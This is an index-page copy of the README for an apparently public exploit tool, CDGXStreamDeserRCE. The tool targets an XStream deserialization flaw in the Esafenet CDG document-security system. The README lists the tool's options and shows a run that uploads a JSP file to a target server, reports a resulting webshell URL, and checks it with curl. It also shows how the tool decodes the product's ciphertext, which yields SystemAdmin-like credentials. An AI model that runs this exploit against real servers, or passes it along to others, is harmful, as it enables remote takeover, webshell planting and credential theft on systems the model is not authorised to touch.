Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/0xf4n9x/CDGXStreamDeserRCE
亿赛通电子文档安全管理系统XStream反序列化漏洞任意文件上传利用
https://github.com/0xf4n9x/CDGXStreamDeserRCE
Last synced: 13 days ago
JSON representation
亿赛通电子文档安全管理系统XStream反序列化漏洞任意文件上传利用
- Host: GitHub
- URL: https://github.com/0xf4n9x/CDGXStreamDeserRCE
- Owner: 0xf4n9x
- Created: 2022-12-15T11:19:06.000Z (about 2 years ago)
- Default Branch: main
- Last Pushed: 2024-08-09T02:58:38.000Z (5 months ago)
- Last Synced: 2024-09-11T03:44:06.163Z (4 months ago)
- Language: Java
- Homepage: https://0xf4n9x.github.io/cdg-xstream-deserialization-arbitrary-file-upload.html
- Size: 5.03 MB
- Stars: 103
- Watchers: 2
- Forks: 18
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - 0xf4n9x/CDGXStreamDeserRCE - 亿赛通电子文档安全管理系统XStream反序列化漏洞任意文件上传利用 (Java)
README
# CDGXStreamDeserRCE
> 亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全防护软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产。亿赛通电子文档安全管理系统存在XStream反序列化远程代码执行漏洞，攻击者可利用该漏洞对服务器上传任意文件，进而控制服务器权限。
## 使用
帮助信息
```bash
$ java -jar CDGXStreamDeserRCE.jar
亿赛通电子文档安全管理系统XStream反序列化漏洞任意文件上传利用
usage: Options
-d,--decode 密文解码
-e,--encode 加密XML反序列化payload
-h,--help 打印帮助信息
-p,--proxy 代理地址
-t,--target 目标URL
-uf,--upload-file 上传文件的本地路径
```
文件上传利用
```bash
$ cat test1.jsp
<%
out.println("e165421110ba030e165421110ba03099a1c0393373c5b4399a1c0393373c5b43");
%>
$ java -jar CDGXStreamDeserRCE.jar -p http://127.0.0.1:8080 -uf test1.jsp -t https://192.168.31.190:8443
[+] Exploit Successed
[+] WebShell: https://192.168.31.190:8443/CDGServer3/test1.jsp
$ curl -k https://192.168.31.190:8443/CDGServer3/test1.jsp
e165421110ba030e165421110ba03099a1c0393373c5b4399a1c0393373c5b43
```
密文解码，读取文件内容进行解码或直接对字符串进行解码。
```bash
$ java -jar CDGXStreamDeserRCE.jar -d e.txt
SystemAdmin
3FF8A0978
....
```
```bash
$ java -jar CDGXStreamDeserRCE.jar -d FEPCCCLCENHIPOAFPAPDDFCGEAPNMDBMOJPMJAKKNPHOKIKIDCBPHEGKLDGNHCBDEIMODEKMKPFBAIMMNLOJJKMIICLAPJAAFGNGAKFBMPKPJMOIKODEJJMHJCCHKBMFMMFDLOMDPABOJCEAPOFDCPMKGDHFNBBIMCIPAMMIIANFPAJHFAABLLLANNIDAGNKOHONJGFGBKHFDMCLJIMICBHBJEIAAIMACN
Error1200
```
明文编码，读取文件内容进行编码或直接对字符串进行编码。
```bash
$ java -jar CDGXStreamDeserRCE.jar -e payload.xml
```
```bash
$ java -jar CDGXStreamDeserRCE.jar -e "C:\Program Files (x86)\ESAFENET\CDocGuard Server\tomcat64\webapps\CDGServer3"
BCBILAKIDOOOCGKJDBBFOCGJFGFJPNJALCHEBLGLBFAMKDDLPBCFFJCJHOPGLEACMIOHIFJAGCBPOMIKLMGBAGCNBGEGNKGALLCGLOJNJBHCLMNNGHHJJNAAKPMEDFJDGCEMDADGDCEFFCGEGNFLGHCH
```
## 参考
- https://github.com/woodpecker-framework/ysoserial-for-woodpecker